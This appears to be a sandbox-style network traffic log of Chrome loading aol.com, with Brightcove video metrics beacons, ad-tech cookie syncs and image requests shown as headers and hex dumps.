2024-05-23 22:34:58 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 21301 Cache-Control: public, max-age=2592000 Cache-Tag: 246817519411096991793923859149528834747,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21930-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: ff06678ed3b79e158191cb7b2dfacfba cld_latency: 410 Content-Type: image/png Date: Thu, 23 May 2024 22:34:58 GMT Edge-Cache-Tag: 246817519411096991793923859149528834747,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "4b9e4a912420cccb605fa46854d1e60f" Last-Modified: Thu, 23 May 2024 16:39:58 GMT Server: ECAcc (lhd/35F8) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=6193,owidth=1266,oheight=844,obytes=112589,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: ff06678ed3b79e158191cb7b2dfacfba X-Served-By: cache-lga21930-LGA X-Timer: S1716482397.286754,VS0,VE410 Content-Length: 6193 Connection: close
2024-05-23 22:34:58 UTC	6193	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 00 5d 50 4c 54 45 0a 51 94 0a 50 92 0a 50 96 0a 52 98 09 52 95 09 52 92 fe ff fd ff ff ff ff ff fe fe ff ff fb fe fe f0 f6 fa 0a 51 8f 16 56 90 f6 fb fc 33 68 99 d7 e4 ee b7 cc db 77 9d ba 24 5f 8f 24 61 99 45 78 a5 e3 ee f4 c9 da e6 a6 c0 d4 98 b4 cb 6b 92 b5 54 84 ad 3d 70 a0 89 a9 c3 09 4e 87 87 19 54 b6 00 00 17 8f 49 44 41 54 78 da ec 9c 6b 73 a3 3a 0c 86 b1 b1 0d 18 73 0d 21 5c 92 fe ff 9f 79 24 d9 80 49 d3 ed 7e 38 9d cd 4c f5 b6 d3 76 c3 42 cc 63 59 96 85 9c 24 61 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b Data Ascii: PNGIHDR,,N~G]PLTEQPPRRRQV3hw$_$aExkT=pNTIDATxks:s!\y$I~8LvBcY$aX,bX,bX,bX,bX,bX,bX,bX,bX,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.6	50030	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	924	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&event=player_init&time=1716503696783&autoplay=false&seq=0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:58 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.6	50029	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	2604	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&usage=thumbnails!2.0.1&usage=qualityLevels!3.0.0&usage=qualityMenu!3.0.0&usage=inpage-embed&event=player_load&time=1716503696819&qos.events.content.volumechange=1716503696808&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=11707090&qos.performance.memory.totalJSHeapSize=17147142&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=1716503691360&qos.performance.timing.loadEventStart=1716503691359&qos.performance.timing.domComplete=1716503691359&qos.performance.timing.domContentLoadedEventEnd=1716503691322&qos.performance.timing.domContentLoadedEventStart=1716503691322&q [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:58 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.6	50028	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	786	OUT	GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:34:58 UTC	914	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1134 Connection: close P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:58 GMT; Secure; SameSite=None; Partitioned; Cache-Control: no-cache, no-store, must-revalidate set-cookie: sync=CgoIoQEQqLvfvPoxCgoI5gEQqLvfvPoxCgoIhwIQqLvfvPoxCgoItwIQqLvfvPoxCgkIOhCou9-8-jEKCQgbEKi737z6MQoKCIwCEKi737z6MQoKCKwCEKi737z6MQoKCK0CEKi737z6MQoJCF8QqLvfvPox; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:58 GMT; Path=/sync; Domain=.3lift.com; Secure; SameSite=None set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:34:58 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:34:58 UTC	1134	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 69 64 3d 35 38 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 66 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 73 76 78 39 74 35 30 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 22 3e 0a 3c 69 6d 67 20 69 64 3d 31 36 31 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 65 62 64 61 3f 73 79 6e 63 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 0a 3c 69 6d 67 20 69 64 3d 32 33 30 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 Data Ascii: <!DOCTYPE html><html><body><img id=58 src="https://match.adsrvr.org/track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid="><img id=161 src="https://eb2.3lift.com/ebda?sync=1&gdpr=0&gdpr_consent="><img id=230 src="https://c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.6	50033	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	589	OUT	OPTIONS /playback/v1/accounts/6415665815001/videos/6353510307112 HTTP/1.1 Host: edge-auth.api.brightcove.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: authorization Origin: https://s.yimg.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:58 UTC	412	IN	HTTP/1.1 200 OK Connection: close Content-Length: 66 Retry-After: 0 Content-Type: application/json Accept-Ranges: bytes Date: Thu, 23 May 2024 22:34:58 GMT X-Served-By: cache-nyc-kteb1890093-NYC X-Cache: HIT X-Cache-Hits: 0 Bcov-Request-Id: epa-83dcc20b2c97, epa-83dcc20b2c97-d Cache-Control: no-store, must-revalidate Access-Control-Allow-Headers: Authorization,* Access-Control-Allow-Origin: *
2024-05-23 22:34:58 UTC	66	IN	Data Raw: 20 5b 7b 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 22 22 2c 20 22 65 72 72 6f 72 5f 73 75 62 63 6f 64 65 22 3a 22 22 2c 20 22 6d 65 73 73 61 67 65 22 3a 22 41 75 74 68 6f 72 69 7a 65 64 22 20 7d 5d 20 Data Ascii: [{"error_code":"", "error_subcode":"", "message":"Authorized" }]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.6	50032	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	750	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:59 UTC	765	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC=19cw~2ila;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:34:59 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:59 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:34:59 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 51 4d 37 67 31 61 4e 45 32 75 4a 78 38 50 31 77 67 69 78 6b 5a 72 39 55 38 6c 6c 4b 51 4f 45 47 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.6	50026	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	809	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2F42b48620-19dc-11ed-9def-335ff63bb2a0&client=76f99bdb8f78cd44cc0b&signature=0468b59009bf341c47eef19de48a359570b09e19 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	1516	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 29348 Cache-Control: public, max-age=2592000 Cache-Tag: 305317539050240599320269195301767260501,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21969-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 59aaa9976de57915252195419cda5c3e cld_latency: 2920 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:59 GMT Edge-Cache-Tag: 305317539050240599320269195301767260501,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "2f8fc50a1d68c54977edcaa328c131a5" Last-Modified: Thu, 23 May 2024 13:29:17 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A3) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=14932,owidth=8256,oheight=5504,obytes=28268793,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: 59aaa9976de57915252195419cda5c3e X-Served-By: cache-lga21969-LGA X-Timer: S1716474357.162411,VS0,VE2920 Content-Length: 14932 Connection: close
2024-05-23 22:34:59 UTC	14869	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 12 10 10 12 13 1d 15 16 15 16 15 1d 2c 1c 20 1c 1c 20 1c 2c 27 2f 26 24 26 2f 27 46 37 31 31 37 46 51 44 40 44 51 62 58 58 62 7c 76 7c a2 a2 d9 01 08 08 08 08 09 08 09 0a 0a 09 0d 0e 0c 0e 0d 13 12 10 10 12 13 1d 15 16 15 16 15 1d 2c 1c 20 1c 1c 20 1c 2c 27 2f 26 24 26 2f 27 46 37 31 31 37 46 51 44 40 44 51 62 58 58 62 7c 76 7c a2 a2 d9 ff c2 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 00 08 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 01 00 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 da 03 30 7a c4 e2 3c 69 aa 52 5e 34 e0 92 Data Ascii: JFIF, ,'/&$&/'F7117FQD@DQbXXb\|v\|, ,'/&$&/'F7117FQD@DQbXXb\|v\|,,"40z<iR^4
2024-05-23 22:34:59 UTC	63	IN	Data Raw: 41 e2 31 8c 6e 00 70 30 98 4c 36 8a 3d 25 40 dd 5b 69 4e dd 0c bf a8 32 8d bd 54 45 54 1b 28 16 03 8a 6b 63 f3 35 cc bb 1e 03 e3 08 20 f1 8b 16 97 26 0e 20 8f 58 55 87 21 b4 3f 62 67 ff d9 Data Ascii: A1np0L6=%@[iN2TET(kc5 & XU!?bg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.6	50027	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:58 UTC	796	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F50be11c0-78ed-11ee-b7af-8321670771f9&client=76f99bdb8f78cd44cc0b&signature=7c9ec566c152b8d5ce6757c69659757d3e78e0a5 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	1497	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 54161 Cache-Control: public, max-age=2592000 Cache-Tag: 309736351821732764899606652667715375266,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100154-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 120 Content-Type: image/png Date: Thu, 23 May 2024 22:34:59 GMT Edge-Cache-Tag: 309736351821732764899606652667715375266,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "2c615c5be29f203978f6690679a659c2" Expiration: expiry-date="Tue, 28 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 29 Nov 2023 18:15:40 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35B2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=284,owidth=400,oheight=400,obytes=9125 Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000178-IAD X-Timer: S1711265537.688919,VS0,VE1 Content-Length: 284 Connection: close
2024-05-23 22:34:59 UTC	284	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 4b 50 4c 54 45 47 70 4c 03 58 ff 01 57 ff 54 8e ff 04 59 ff 03 58 ff 02 58 ff 12 62 ff 09 5c ff 04 59 ff 5d 93 ff e7 ef ff bc d3 ff 17 65 ff 2e 75 ff 81 ab ff f6 f9 ff cc dd ff 1f 6b ff 02 58 ff aa c7 ff a7 c5 ff 9d be ff 3f 80 ff d6 e4 ff e6 fa 05 0c 00 00 00 0a 74 52 4e 53 00 c2 ff ff 9b da fa 09 31 98 3b 8b 2f 80 00 00 00 76 49 44 41 54 18 d3 65 8f db 02 80 10 10 44 37 45 2e 11 25 f5 ff 5f 5a 3b e1 a1 e6 c5 3a cc ee 2c d1 23 6d a4 52 d2 68 7a 35 4f a2 6a 9a 71 1f 44 d7 c0 84 df 37 6b 47 8f 3f 8f 9f cf d1 1d 8b 03 d1 64 00 16 21 ca ca 95 21 d9 40 06 90 a4 00 62 ba 62 e0 4a 55 90 ce b3 a4 1d a0 5b 76 17 60 e9 4d 7d f4 68 da c6 66 b7 be 63 5b 30 1b Data Ascii: PNGIHDR(-SKPLTEGpLXWTYXXb\Y]e.ukX?tRNS1;/vIDATeD7E.%_Z;:,#mRhz5OjqD7kG?d!!@bbJU[v`M}hfc[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.6	50034	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	1061	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_request&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503697696&seq=2 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:34:59 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.6	50031	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	809	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2F6d3021a0-1900-11ef-bbe7-54c03d9b20b6&client=76f99bdb8f78cd44cc0b&signature=0f97af9efe0add39adc2bf15914aa82f4bf73c5e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 35855 Cache-Control: public, max-age=2592000 Cache-Tag: 324582242224556677674927189164855442573,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21950-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 65 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:59 GMT Edge-Cache-Tag: 324582242224556677674927189164855442573,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "d92dd492f17654d1ee99ecca05db782c" Expiration: expiry-date="Wed, 20 Nov 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 23 May 2024 12:37:10 GMT Server: ECAcc (lhd/35EE) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=32127,owidth=5500,oheight=3668,obytes=18635081,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21950-LGA X-Timer: S1716467844.325763,VS0,VE65 Content-Length: 32127 Connection: close
